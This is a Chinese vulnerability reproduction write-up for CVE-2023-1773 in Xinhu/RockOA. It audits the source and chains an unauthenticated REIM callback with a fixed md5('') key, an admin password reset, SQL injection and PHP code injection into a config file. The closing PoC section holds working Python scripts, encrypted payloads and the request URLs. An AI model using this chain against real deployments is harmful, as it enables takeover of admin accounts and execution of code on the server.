CVE-2023-1773 深度复现:从 REIM 回调未授权到信呼 OA 配置文件代码注入

一、漏洞入口

根据 CVE 官网(https://www.cve.org/CVERecord?id=CVE-2023-1773)的描述:

它将该漏洞归类为 RockOA 2.3.2 的 webmainConfig.php 相关代码注入漏洞,一些漏洞数据库基本都复用了该表述:

但经源码审计,漏洞根因更准确地说是配置保存逻辑未正确处理用户可控输入,导致可控内容写入 PHP 配置文件并在后续包含加载时触发代码注入。

真正的漏洞入口文件是 webmain\system\cog\cogAction.php,聚焦其中的 savecongAjax() 方法(截取了关键部分):

php 复制代码
public function savecongAjax()
	{
		if(getconfig('systype')=='demo')exit('演示上禁止设置');
		if($this->getsession('isadmin')!='1')exit('非管理员不能操作');	
		$str = '<?php
if(!defined(\'HOST\'))die(\'not access\');
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件
return array(
'.$str1.'
);';
		@$bo = file_put_contents($_confpath, $str);
	}

首先,这是需要管理员权限才能进行的操作,为了使讲述逻辑更清晰,先假设"已经登入了管理员账号"

$this->adminname 未经过滤直接拼接进了 PHP 源码当中,若该对象用户可控,将其改为:

php 复制代码
\nphpinfo();//

拼接之后,得到的 PHP 代码就是:

php 复制代码
<?php
if(!defined(\'HOST\'))die(\'not access\');
//[
phpinfo();//]在<某时刻>通过[系统→系统工具→系统设置],保存修改了配置文件
return array($str1);

接着:

php 复制代码
file_put_contents($_confpath, $str)

这会将 $str 写入指定文件($_confpath)当中。

具体是哪个文件呢?

还是当前文件,可以找到定义:

php 复制代码
$_confpath = $this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);

追踪链条,先确定 $this->rock 对象:

php 复制代码
// include\Action.php
$this->rock = $GLOBALS['rock'];

取自全局变量 $rock

php 复制代码
// config\config.php
$rock = new rockClass();

查看类定义,并且找到 strformat 方法:

php 复制代码
public function strformat($str)
{
	$len = func_num_args();
	$arr = array();
	for($i=1; $i<$len; $i++)$arr[] = func_get_arg($i);
	$s	 = $this->stringformat($str, $arr);
	return $s;
}

public function stringformat($str, $arr=array())
{
	$s	= $str;
	for($i=0; $i<count($arr); $i++){
		$s=str_replace('?'.$i.'', $arr[$i], $s);
	}
	return $s;
}

虽然 strformat 方法签名只写了一个形式参数,但 PHP 允许你在调用时传入更多参数,也就是我们看到的:

php 复制代码
$this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);

这时:

php 复制代码
$str = '?0/?1/?1Config.php'

后面的:

php 复制代码
ROOT_PATH
PROJECT

不会丢失,而是可以通过 PHP 的可变参数函数取出来,源码中用到的就是:

php 复制代码
$len = func_num_args();  // 实际传入参数数量,这里是 3
func_get_arg(0);         // '?0/?1/?1Config.php'
func_get_arg(1);         // ROOT_PATH
func_get_arg(2);         // PROJECT

然后这段:

php 复制代码
$arr = array();
for($i=1; $i<$len; $i++) {
    $arr[] = func_get_arg($i);
}

创建了一个空数组,接着将参数(第 0 个参数除外)一一放入数组当中。

再传给:

php 复制代码
$s = $this->stringformat($str, $arr);

带入具体参数即:

php 复制代码
stringformat('?0/?1/?1Config.php', array(ROOT_PATH, PROJECT))

这个方法实现的是替换操作,即:

php 复制代码
?0 -> ROOT_PATH
?1 -> PROJECT

最终得到:

php 复制代码
ROOT_PATH/PROJECT/PROJECTConfig.php

这就是最终会被修改的文件。

接下来就是找到:

php 复制代码
ROOT_PATH
PROJECT

的具体指代了,分别找到他们的定义:

php 复制代码
define('ROOT_PATH',str_replace('\\','/',dirname(dirname(__FILE__))));	//系统跟目录路径
if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webmain'));

因此,最终的结果就是:

复制代码
<web根目录>/webmain/webmainConfig.php

webmainConfig.php 这个名字是不是很熟悉?没错,前面列举的漏洞数据库中的表述均提到了这个文件。

二、webmainConfig.php

这个文件为什么是关键呢?

上面我们提到,file_put_contents 函数会将一段未经过滤的数据写入 webmainConfig.php 文件中。

现在,假设 $this->adminname 这个用户真的可控,那么一旦 webmainConfig.php 这个文件被其他文件包含(即作为 PHP 代码使用而非文本),就会出现安全问题。

在 VScode 中进行搜索,直接搜索文件名是找不到有用的结果的(均只有注释的内容):

但是,通过前面的分析我们知道 $_confpath 这个变量就是指代该文件,再次搜索,就可以找到在 config\config.php 文件中:

php 复制代码
//引入配置文件
$_confpath		= $rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);
if(file_exists($_confpath)){
	$_tempconf	= require($_confpath);
	foreach($_tempconf as $_tkey=>$_tvs)$config[$_tkey] = $_tvs;
	if(isempt($config['url']))$config['url'] = $rock->url();
	if(!isempt($config['memory_limit']) && function_exists('ini_set'))
		ini_set('memory_limit', $config['memory_limit']);
	if($config['timeout']>-1 && function_exists('set_time_limit'))set_time_limit($config['timeout']);	
}

require() 就是 PHP 的文件包含函数之一。

从文件名也可以看出,这是一个配置文件,也可能存在被其他文件包含的现象,找到个最具代表性而且路由也方便的文件(index.php):

这说明了,只要访问 index.php 文件,它就会包含 webmainConfig.php

接下来,就是要证明之前的假设($this->adminname 用户可控)成立了。

三、$this->adminname

之前看到的这段:

php 复制代码
$str = '<?php
if(!defined(\'HOST\'))die(\'not access\');
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件
return array(
'.$str1.'
);';

是在类:

php 复制代码
cogClassAction

之中,这个类是 Action 的子类:

复制代码
class cogClassAction extends Action

在父类 Action 中可以看到定义,以及相关方法:

php 复制代码
public $adminid		= 0;
public $adminuser	= '';
public $adminname	= '';
public $admintoken	= '';
public $companyid	= 0;
public $loadci		= 0;
public $flow;

protected $ajaxbool 	= 'false';

public function getlogin($lx=0)
{
	$this->ajaxbool		= $this->rock->jm->gettoken('ajaxbool', 'false');
	$this->adminid		= (int)$this->getsession('adminid',0);
	$this->adminuser	= $this->getsession('adminuser');
	$this->adminname	= $this->getsession('adminname');
	$this->admintoken	= $this->getsession('admintoken');
	$this->companyid	= $this->getsession('companyid');
	$this->setNowUser($this->adminid, $this->adminname, $this->adminuser);
	$agid	 = $this->rock->get('agentid');
	if($agid!='')$this->rock->savesession(array('wxqyagentid' => $agid));
	$platsign= $this->rock->get('platsign');
	if($platsign!='')$this->rock->savesession(array('platsign' => $platsign));
	if($lx==0)$this->logincheck();
}

聚焦:

php 复制代码
$this->adminname = $this->getsession('adminname');

getsessionAction 的父类 mainAction 有定义:

php 复制代码
public function getsession($name,$dev='')
{
	return $this->rock->session($name, $dev);
}

$this->rock 对象我们之前追踪过,直接找到对应方法的定义:

php 复制代码
public function session($name,$dev='')
{
	$val	= '';
	$name 	= QOM.$name;
	if(isset($_SESSION[$name]))$val=$_SESSION[$name];
	if($this->isempt($val))$val=$dev;
	return $val;
}

即可以表述成

php 复制代码
$this->adminname = session('adminname', '');

只要在 SESSION 中定义了 name 字段,那么 $this->adminname 就会被赋值成该字段的值。

可是这个值,一般都是在服务器端存储,只做校验,无法通过用户请求直接修改该值。

四、SQLi

这个 CVE 是由多个不安全操作共同导致的,在文件 webmain\task\api\reimplatAction.php 中存在 SQL 注入:

php 复制代码
if($msgtype=='editmobile'){
	$user 	= arrvalue($data, 'user');
	$mobile = arrvalue($data, 'mobile');
	$where  = "`user`='$user'";
	$upstr  = "`mobile`='$mobile'";
	$db->update($upstr, $where);
	$dbs	= m('admin');
	$dbs->update($upstr,$where);
	$uid 	= $dbs->getmou('id',$where);
	m('userinfo')->update($upstr,"`id`='$uid'");
}

聚焦:

php 复制代码
$db->update()

找到对应的链:

php 复制代码
$db = m('reimplat:dept');

function m($name)
{
	$cls		= NULL;
	$pats		= $nac	= '';
	$nas		= $name;
	$asq		= explode(':', $nas);
	if(count($asq)>1){
		$nas	= $asq[1];
		$nac	= $asq[0];
		$pats	= $nac.'/';
		$_pats	= ''.ROOT_PATH.'/'.PROJECT.'/model/'.$nac.'/'.$nac.'.php';
		if(file_exists($_pats)){
			include_once($_pats);
			$class	= ''.$nac.'Model';
			$cls	= new $class($nas);
		}	
	}
	$class		= ''.$nas.'ClassModel';
	$path		= ''.ROOT_PATH.'/'.PROJECT.'/model/'.$pats.''.$nas.'Model.php';
	if(file_exists($path)){
		include_once($path);
		if($nac!='')$class= $nac.'_'.$class;
		$cls	= new $class($nas);
	}
	if($cls==NULL)$cls = new sModel($nas);
	return $cls;
}

会包含下述两个文件:

复制代码
<Web根目录>/webmain/model/reimplat/reimplat.php
<Web根目录>/webmain/model/reimplat/deptModel.php

并且返回:

php 复制代码
$cls = new sModel('dept');
return $cls;

即:

php 复制代码
$db = new sModel('dept');

找到方法 update()

php 复制代码
$this->db = $GLOBALS['db'];

public function update($arr,$where)
{
	return $this->record($arr, $where);
}

public function record($arr, $where='')
{
	return $this->db->record($this->table, $arr, $where);
}

注意构造方法:

php 复制代码
public function __construct($table='')
{
	$this->rock			= $GLOBALS['rock'];
	$this->db			= $GLOBALS['db'];
	$this->adminid		= $this->rock->adminid;
	$this->adminname	= $this->rock->adminname;
	$this->settable($table);
	$this->initModel();
}

传输进来的"dept"是作为表名存在的。

还需要找到全局变量 $db 的定义:

php 复制代码
$this->db		= import(DB_DRIVE);
$GLOBALS['db']	= $this->db;

继续追踪 DB_DRIVE

php 复制代码
define('DB_DRIVE', $config['db_drive']);

继续追踪:

php 复制代码
$config		= array(
    ......
		'db_drive'		=> 'mysqli',	//数据库操作驱动
	......
);

现在明白了 import 的实际上是:

php 复制代码
$this->db = import(mysqli);

这个系统自己定义了 import 函数:

php 复制代码
function import($name, $inbo=true)
{
	$class	= ''.$name.'Class';
	$path	= ''.ROOT_PATH.'/include/class/'.$class.'.php';
	$cls	= NULL;
	if(file_exists($path)){
		include_once($path);
		if($inbo){
			$cls	= new $class();
		}
	}
	return $cls;
}

所以实际包含的是:

复制代码
<Web根目录>/include/class/mysqliClass.php

找到对应的文件就可以看到 record 方法的定义了:

php 复制代码
public function record($table,$array,$where='')
{
	$addbool  	= true;
	if(!$this->isempt($where))$addbool=false;
	$cont		= '';
	if(is_array($array)){
		foreach($array as $key=>$val){
			$cont.=",`$key`=".$this->toaddval($val)."";
		}
		$cont	= substr($cont,1);
	}else{
		$cont	= $array;
	}
	if($addbool){
		$sql="insert into `$table` set $cont";
	}else{
		$where = $this->getwhere($where);
		$sql="update `$table` set $cont where $where";
	}
	return $this->tranbegin($sql);
}

注意:该方法并非直接在 mysqli.php 中,而是在其父类中,即文件 include\class\mysql.php

整理一下,得到:

php 复制代码
$db->update($upstr, $where);

等价于:

php 复制代码
record($this->table, $upstr, $where);

注意看其中的:

php 复制代码
$sql="update `$table` set $cont where $where";

没有过滤直接拼接了变量,并且后续的 SQL 执行操作并没有涉及到防御:

php 复制代码
return $this->tranbegin($sql);

private function tranbegin($sql)
{
	//if($this->errorbool)return false;
	if($this->conn == null)$this->connect();
	$this->iudcount++;
	if(!$this->tran){
		//$this->starttran();
		//$this->tran=true;
	}
	$rsa	= $this->query($sql);
	$this->iudarr[]=$rsa;
	if(!$rsa)$this->errorbool = true;
	return $rsa;
}

public function query($sql, $ebo=true)
{
	if($this->conn == null)$this->connect();
	if($this->conn == null)exit('数据库的帐号/密码有错误!'.$this->errormsg.'');
	$sql	= trim($sql);
	$sql	= str_replace(array('[Q]','[q]','{asqom}'), array($this->perfix, $this->perfix,''), $sql);
	$this->countsql++;
	$this->sqlarr[]	= $sql;
	$this->nowsql	= $sql;
	$this->count 	= 0;
	try {
		$rsbool		= $this->querysql($sql);
	} catch (Exception $e) {
		$rsbool		= false;
		$this->errormsg = $e->getMessage();
	}
	
	$this->nowerror	= false;
	if(!$rsbool)$this->nowerror = true;
	
	$stabs  = ''.$this->perfix.'log';
	if(!contain($sql, $stabs) && !$rsbool)$this->errorlast = $this->error(); //最后错误信息
	
	//记录错误sql
	if(!$rsbool && $ebo){
		$txt	= '[ERROR SQL]'.chr(10).''.$sql.''.chr(10).''.chr(10).'[Reason]'.chr(10).''.$this->error().''.chr(10).'';
		$efile 	= $this->rock->debug($txt,''.DB_DRIVE.'_sqlerr', true);
		$errmsg = str_replace("'",'&#39;', $this->error());
		if(!contain($sql, $stabs)){
			m('log')->addlogs('错误SQL',''.$errmsg.'', 2, array(
				'url' => $efile
			));
		}
	}
	return $rsbool;
}

protected function querysql($sql){return false;}

这就坐实了存在 SQLi。

接下来只需要搞定 $mobile 变量的来源:

php 复制代码
$mobile = arrvalue($data, 'mobile');

追踪 $data 变量:

php 复制代码
$body = $this->getpostdata();
$key 	 = $db->gethkey();
$bodystr = $this->jm->strunlook($body, $key);
$data 	 = json_decode($bodystr, true);

可以看到,通过 POST 接收数据后,分别进行了解密和 JSON 反序列化操作。

换言之,在构造 POST 请求正文的时候,先得进行 JSON 序列化操作然后再进行加密,这样服务器端才能正常处理请求。

先找到 $this->jm 对象:

php 复制代码
$this->jm = c('jm', true);

继续追踪:

php 复制代码
function c($name, $inbo=true, $param1='', $param2='')
{
	$class	= ''.$name.'Chajian';
	$path	= ''.ROOT_PATH.'/include/chajian/'.$class.'.php';
	$cls	= NULL;
	if(file_exists($path)){
		include_once($path);
		if($inbo)$cls	= new $class($param1, $param2);
	}
	return $cls;	
}

带入具体参数:

php 复制代码
$class	= jmChajian

找到该类的定义就能找到对应的加密与解密方法:

php 复制代码
public function strlook($data,$key='')
{
	if(isempt($data))return '';
	if($key=='')$key	= md5($this->jmsstr);
	$x		= 0;
	$len	= strlen($data);
	$l		= strlen($key);
	$char 	= $str = '';
	for ($i = 0; $i < $len; $i++){
		if ($x == $l) {
			$x = 0;
		}
		$char .= $key[$x];
		$x++;
	}
	for ($i = 0; $i < $len; $i++){
		$str .= chr(ord($data[$i]) + (ord($char[$i])) % 256);
	}
	return $this->base64encode($str);
}

public function strunlook($data,$key='')
{
	if(isempt($data))return '';
	if($key=='')$key	= md5($this->jmsstr);
	$x 		= 0;
	$data 	= $this->base64decode($data);
	$len 	= strlen($data);
	$l 		= strlen($key);
	$char 	= $str = '';
	for ($i = 0; $i < $len; $i++){
		if ($x == $l) {
			$x = 0;
		}
		$char .= substr($key, $x, 1);
		$x++;
	}
	for ($i = 0; $i < $len; $i++){
		if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))){
			$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
		}else{
			$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
		}
	}
	return $str;
}

不难发现,这并不是标准的加密算法,而是作者自己实现的。

查看密钥来源:

php 复制代码
public function gethkey()
{
	$key = $this->reimplat_huitoken;
	if(isempt($key))$key = $this->reimplat_secret;
	if(isempt($key))$key = $this->reimplat_cnum;
	return md5($key);
}

这三个属性:

复制代码
reimplat_huitoken
reimplat_secret
reimplat_cnum

是 REIM 平台参数。

但是开发者在部署 OA 的时候并不一定采用该配套平台,换言之,这三个参数的值可能都为空,那么返回值就是固定的了。

代码可以精简成:

php 复制代码
$key = ''
return md5('')

结果就是:

text 复制代码
d41d8cd98f00b204e9800998ecf8427e

综上,在未配置 REIM 平台参数的部署状态下,回调解密密钥退化为公开固定值,这就是我们可以任意构造 POST 正文的关键。

五、路由

攻击链路很清楚了:通过 SQLi 修改 adminname,接着通过 savecongAjax() 方法将修改后的数据写入 webmainConfig.php 文件中,最后访问 index.php 就可以触发注入的代码。

现在要解决的就是路由问题了,即如何访问对应文件和方法。

一般在 index.php 中会有对应逻辑:

php 复制代码
<?php 
include_once('config/config.php');
$_uurl 		= $rock->get('rewriteurl');
$d 			= '';
$m 			= 'index';
$a 			= 'default';
if($_uurl != ''){
	unset($_GET['m']);unset($_GET['d']);unset($_GET['a']);
	$m		= $_uurl;
	$_uurla = explode('_', $_uurl);
	if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];}
	if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];}
	$_uurla = explode('?',$_SERVER['REQUEST_URI']);
	if(isset($_uurla[1])){
		$_uurla = explode('&', $_uurla[1]);foreach($_uurla as $_uurlas){
			$_uurlasa = explode('=', $_uurlas);
			if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1];
		}
	}
}else{
	$m			= $rock->jm->gettoken('m', 'index');
	$d			= $rock->jm->gettoken('d');
	$a			= $rock->jm->gettoken('a', 'default');
}
$ajaxbool	= $rock->jm->gettoken('ajaxbool', 'false');
$mode		= $rock->get('m', $m);
if(!$config['install'] && $mode != 'install')$rock->location('?m=install');
include_once('include/View.php');

可以看到还包含了一个文件 include/View.php

php 复制代码
<?php
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$ajaxbool	= $rock->get('ajaxbool', $ajaxbool);
$p			= PROJECT;
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m			= $rock->get('m', $m);
$a			= $rock->get('a', $a);
$d			= $rock->get('d', $d);

define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);

$_m			= $m;
if($rock->contain($m, '|')){
	$_mas 	= explode('|', $m);
	$m 		= $_mas[0];
	$_m		= $_mas[1];
}
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));
$rand		= date('YmdHis').rand(1000,9999);
if(substr($d,-1)!='/' && $d!='')$d.='/';
$errormsg	= '';
$methodbool	= true;
$actpath	= $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);
define('ACTPATH', $actpath);
$actfile	= $rock->strformat('?0/?1Action.php',$actpath, $m);
$actfile1	= $rock->strformat('?0/?1Action.php',$actpath, $_m);
$actbstr 	= null;
if(file_exists($actfile1))include_once($actfile1);
if(file_exists($actfile)){
	include_once($actfile);
	$clsname	= ''.$m.'ClassAction';
	$xhrock		= new $clsname();
	$actname	= ''.$a.'Action';
	if($ajaxbool == 'true')$actname	= ''.$a.'Ajax';
	if(method_exists($xhrock, $actname)){
		$xhrock->beforeAction();
		$actbstr = $xhrock->$actname();
		$xhrock->bodyMessage = $actbstr;
		if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}
		if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}
	}else{
		$methodbool = false;
		if($ajaxbool == 'false')echo ''.$actname.' not found;';
	}
	$xhrock->afterAction();
}else{
	echo 'actionfile not exists;';
	$xhrock		= new Action();
}

$_showbool = false;
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){
	$xhrock->smartydata['p']	= $p;
	$xhrock->smartydata['a']	= $a;
	$xhrock->smartydata['m']	= $m;
	$xhrock->smartydata['d']	= $d;
	$xhrock->smartydata['rand']	= $rand;
	$xhrock->smartydata['qom']	= QOM;
	$xhrock->smartydata['path']	= PATH;
	$xhrock->smartydata['sysurl']= SYSURL;
	$temppath					= ''.ROOT_PATH.'/'.$p.'/';
	$tplpaths					= ''.$temppath.''.$d.''.$m.'/';
	$tplname					= 'tpl_'.$m.'';
	if($a!='default')$tplname  .= '_'.$a.'';
	$tplname				   .= '.'.$xhrock->tpldom.'';
	$mpathname					= $tplpaths.$tplname;
	if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;
	if(!file_exists($mpathname) || !$methodbool){
		if(!$methodbool){
			$errormsg	= 'in ('.$m.') not found Method('.$a.');';
		}else{
			$errormsg	= ''.$tplname.' not exists;';
		}
		echo $errormsg;
	}else{
		$_showbool = true;
	}
}
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){
	$xhrock->setHtmlData();
	$da = $xhrock->smartydata;
	foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;
	include_once($mpathname);
	$_showbool = false;
}

聚焦三个可控变量:

php 复制代码
$m	= $rock->get('m', $m);
$a	= $rock->get('a', $a);
$d = $rock->get('d', $d);

路由的目的地是由一些包含函数实现的:

php 复制代码
$p			= PROJECT;

include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));
$rand		= date('YmdHis').rand(1000,9999);
if(substr($d,-1)!='/' && $d!='')$d.='/';
$errormsg	= '';
$methodbool	= true;
$actpath	= $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);
define('ACTPATH', $actpath);
$actfile	= $rock->strformat('?0/?1Action.php',$actpath, $m);
$actfile1	= $rock->strformat('?0/?1Action.php',$actpath, $_m);
$actbstr 	= null;
if(file_exists($actfile1))include_once($actfile1);
if(file_exists($actfile)){
	include_once($actfile);

最终访问的文件是:

复制代码
<Web根目录>/webmain/webmainAction.php
<Web根目录>/webmain/$d$_m/$mAction.php
<Web根目录>/webmain/$d$_m/$_mAction.php

并且:

php 复制代码
$clsname	= ''.$m.'ClassAction';
$xhrock		= new $clsname();
$actname	= ''.$a.'Action';
if($ajaxbool == 'true')$actname	= ''.$a.'Ajax';
if(method_exists($xhrock, $actname)){
	$xhrock->beforeAction();
	$actbstr = $xhrock->$actname();
	$xhrock->bodyMessage = $actbstr;
	if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}
	if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}
}else{
	$methodbool = false;
	if($ajaxbool == 'false')echo ''.$actname.' not found;';
}

会实例化类:

php 复制代码
$mClassAction

并且访问其中的方法(注意不同的情况会调用不同的方法):

php 复制代码
ajaxbool=false / html / 未传
→ 调用 $aAction()

ajaxbool=true
→ 调用 $aAjax()

六、未授权访问

在讲"漏洞入口"的时候,我们假设了"已经登入管理员账号"。

换言之,只有登入了管理员账号后,后面的攻击链才成立。

上面提到,SQLi 存在的位置是 webmain\task\api\reimplatAction.php,在类 reimplatClassAction 中有一个方法:

php 复制代码
public function initAction()
{
	$this->display= false;
}

它重构了其父类的 initAction() 方法:

php 复制代码
public function initAction()
{
	$this->display= false;
	$time 		= time();
	$this->cfrom= $this->request('cfrom');
	$this->token= $this->request('token', $this->admintoken);
	$this->adminid 	 = (int)$this->request('adminid', $this->adminid);
	$this->adminname = '';
	$boss = (M == 'login|api');
	if(!$boss){
		if($this->isempt($this->token))$this->showreturn('','token invalid', 199);
		$lodb = m('login');
		$onto = $lodb->getone("`uid`='$this->adminid' and `token`='$this->token' and `online`=1");
		if(!$onto)$this->showreturn('','登录失效,请重新登录', 199);
		$lodb->update("`moddt`='{$this->rock->now}'", $onto['id']);
	}
	$this->userrs = m('admin')->getone("`id`='$this->adminid' and `status`=1", '`name`,`user`,`id`,`ranking`,`deptname`,`deptid`');
	if(!$this->userrs && !$boss){
		$this->showreturn('', '用户已经不存在了,请重新登录', 199);
	}
	
	$this->adminname 		= arrvalue($this->userrs, 'name');
	$this->rock->adminid	= $this->adminid;
	$this->rock->adminname 	= $this->adminname;
	$this->admintoken 		= $this->token;
}

可以看到,其父类是有一套 Token 验证机制的,但是它将其重构,变成了没有验证。

一直追溯其父类、祖父类,能看到构造方法:

php 复制代码
public function __construct()
{
	$this->rock		= $GLOBALS['rock'];
	$this->smarty	= $GLOBALS['smarty'];
	$this->jm		= c('jm', true);
	$_obj = c('lang');if($_obj!=NULL && method_exists($_obj,'initLang'))$_obj->initLang();
	$this->now		= $this->rock->now();
	$this->date		= $this->rock->date;
	$this->ip		= $this->rock->ip;
	$this->web		= $this->rock->web;
	$this->perfix	= PREFIX;
	$this->display	= true;
	$this->initMysql();	
	$this->initConstruct();
	$this->initProject();
	$this->initAction();
}

即当 reimplatClassAction 被实例化的时候,initAction() 会自动被调用,但是并不会有任何 Token 的检查措施。

而且我们还注意到:

php 复制代码
//修改密码
if($msgtype=='editpass'){
	$user = arrvalue($data, 'user');
	$pass = arrvalue($data, 'pass');
	if($pass && $user){
		$where  = "`user`='$user'";
		$mima 	= md5($pass);
		m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where);
	}
}

indexAction() 方法中,还能修改密码,而且修改的还是 admin 表中的,我们可以利用这点直接未授权修改管理员的密码,然后登入管理员账号。

七、Poc 构造

1、修改管理员密码

接口:

复制代码
http://127.0.0.1:8080?m=reimplat%7Capi&a=index&d=task

为了方便大家分析,同样列出未 URL 编码前:http://127.0.0.1:8080/task.php?m=reimplat|api&a=index&d=task

根据我们之前的路由分析,这个 URL 会路由到:

复制代码
<Web根目录>/webmain/task/api/reimplatAction.php

并且实例化:

复制代码
reimplatClassAction

还访问其中的方法(注意不同的情况会调用不同的方法):

php 复制代码
indexAction()

修改密码:

python 复制代码
import base64
import requests

key = 'd41d8cd98f00b204e9800998ecf8427e'.encode('ascii')

json_str = '{"msgtype":"editpass","user":"admin","pass":"cve123456"}'
data = json_str.encode('utf-8')

out = bytearray(len(data))
for i in range(len(data)):
    out[i] = (data[i] + key[i % len(key)]) % 256

body = base64.b64encode(out).decode('ascii')

url = 'http://127.0.0.1:8080?m=reimplat|api&a=index&d=task'
headers = {'Content-Type': 'text/plain'}

response = requests.post(
    url,
    data=body,
    headers=headers,
    proxies={'http': None, 'https': None}
)

print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

2、SQLi

接下来就是通过 SQLi 实现 adminname 的修改,我们的核心 payload 就是:

json 复制代码
{
	"msgtype": "editmobile",
	"user": "admin",
	"mobile": "1',name='\nphpinfo();//"
}

这会使得 SQL 语句变成:

sql 复制代码
update `admin` set `mobile`='1',name='\nphpinfo();//' where `user`='admin'

这就会使得 admin 的 name 字段被修改,对应的就是 adminname 被修改。

但是我们不能明文传输,因为服务器有加密逻辑,因此需要加密后再传输。

将服务器端的加密和解密逻辑写成对应的 Python 代码:

python 复制代码
import base64
import json
from typing import Any, Union

def is_empty(value: Any) -> bool:
    """
    近似模拟 PHP isempt():
    这里只把 None、空字符串、空 bytes 视为空。
    """
    return value is None or value == "" or value == b""

def rock_base64_encode(data: Union[str, bytes]) -> str:
    """
    对应 PHP:

    base64_encode($str);
    str_replace(array('+', '/', '='), array('!', '.', ':'), $str);
    """
    if is_empty(data):
        return ""

    if isinstance(data, str):
        data = data.encode("utf-8")

    encoded = base64.b64encode(data).decode("ascii")
    return encoded.replace("+", "!").replace("/", ".").replace("=", ":")

def rock_base64_decode(data: str) -> bytes:
    """
    对应 PHP:

    str_replace(array('!', '.', ':'), array('+', '/', '='), $str);
    base64_decode($str);
    """
    if is_empty(data):
        return b""

    normalized = data.replace("!", "+").replace(".", "/").replace(":", "=")
    return base64.b64decode(normalized)


def strlook_bytes(data: bytes, key: str) -> str:
    """
    对应 PHP strlook($data, $key)

    明文字节 + key 字节,然后做自定义 base64。
    """
    if is_empty(data):
        return ""

    if is_empty(key):
        raise ValueError("key 不能为空")

    key_bytes = key.encode("utf-8")
    key_len = len(key_bytes)

    out = bytearray()

    for i, b in enumerate(data):
        k = key_bytes[i % key_len]
        out.append((b + k) % 256)

    return rock_base64_encode(bytes(out))


def strunlook_bytes(ciphertext: str, key: str) -> bytes:
    """
    对应 PHP strunlook($data, $key)

    自定义 base64 解码后,密文字节 - key 字节。
    """
    if is_empty(ciphertext):
        return b""

    if is_empty(key):
        raise ValueError("key 不能为空")

    cipher_bytes = rock_base64_decode(ciphertext)
    key_bytes = key.encode("utf-8")
    key_len = len(key_bytes)

    out = bytearray()

    for i, b in enumerate(cipher_bytes):
        k = key_bytes[i % key_len]

        if b < k:
            out.append((b + 256) - k)
        else:
            out.append(b - k)

    return bytes(out)


def strlook_text(plaintext: str, key: str) -> str:
    """
    明文字符串加密。
    """
    return strlook_bytes(plaintext.encode("utf-8"), key)


def strunlook_text(ciphertext: str, key: str, encoding: str = "utf-8") -> str:
    """
    密文解密成字符串。
    """
    return strunlook_bytes(ciphertext, key).decode(encoding, errors="replace")


def encode_json_body(obj: Any, key: str) -> str:
    """
    把 Python 对象转成紧凑 JSON,然后按信呼 OA strlook() 加密。

    推荐用这个构造 POST body。
    单引号、双引号、中文、反斜杠等都交给 json.dumps() 自动处理。
    """
    plaintext = json.dumps(
        obj,
        ensure_ascii=False,
        separators=(",", ":")
    )
    return strlook_text(plaintext, key)


def decode_json_body(ciphertext: str, key: str) -> Any:
    """
    解密 POST body,并尝试按 JSON 解析。
    """
    plaintext = strunlook_text(ciphertext, key)
    return json.loads(plaintext)


def main():
    key = "d41d8cd98f00b204e9800998ecf8427e"

    data = {
        "msgtype": "editmobile",
        "user": "admin",
        "mobile": "1',name='\nphpinfo();//"
    }

    print("[*] 原始 Python 对象:")
    print(data)

    plaintext = json.dumps(data, ensure_ascii=False, separators=(",", ":"))
    print("\n[*] JSON 明文:")
    print(plaintext)

    ciphertext = strlook_text(plaintext, key)
    print("\n[*] 加密后的 POST body:")
    print(ciphertext)

    decrypted_text = strunlook_text(ciphertext, key)
    print("\n[*] 解密后的 JSON 明文:")
    print(decrypted_text)

    decrypted_obj = json.loads(decrypted_text)
    print("\n[*] 解密后的 Python 对象:")
    print(decrypted_obj)


if __name__ == "__main__":
    main()

运行后得到加密后的内容:

复制代码
[*] 加密后的 POST body:
31ae15.X3amdiGpSx5aZqNKompmcnltkh9jZnaZUcYfFmJ7NpoWQW6XVkpnOl1Juh2pfXJ6app2iisKmpJqnztKaoIxhnpNoWuM:

接着继续访问接口:

复制代码
http://127.0.0.1:8080?m=reimplat%7Capi&a=index&d=task

在 Burp 中将其修改成 POST 传值,并且将上面得到的正文内容复制上去:

注意:复现的时候,上述步骤完成后,退出登入并再次登入,否则信息并不会刷新。

3、触发写入

接下来就是触发写入 webmainConfig.php,访问 URL:

复制代码
http://127.0.0.1:8080?a=savecong&m=cog&d=system&ajaxbool=true

4、再次访问 index.php

再次访问 index.php 的时候,就出现:

八、结语

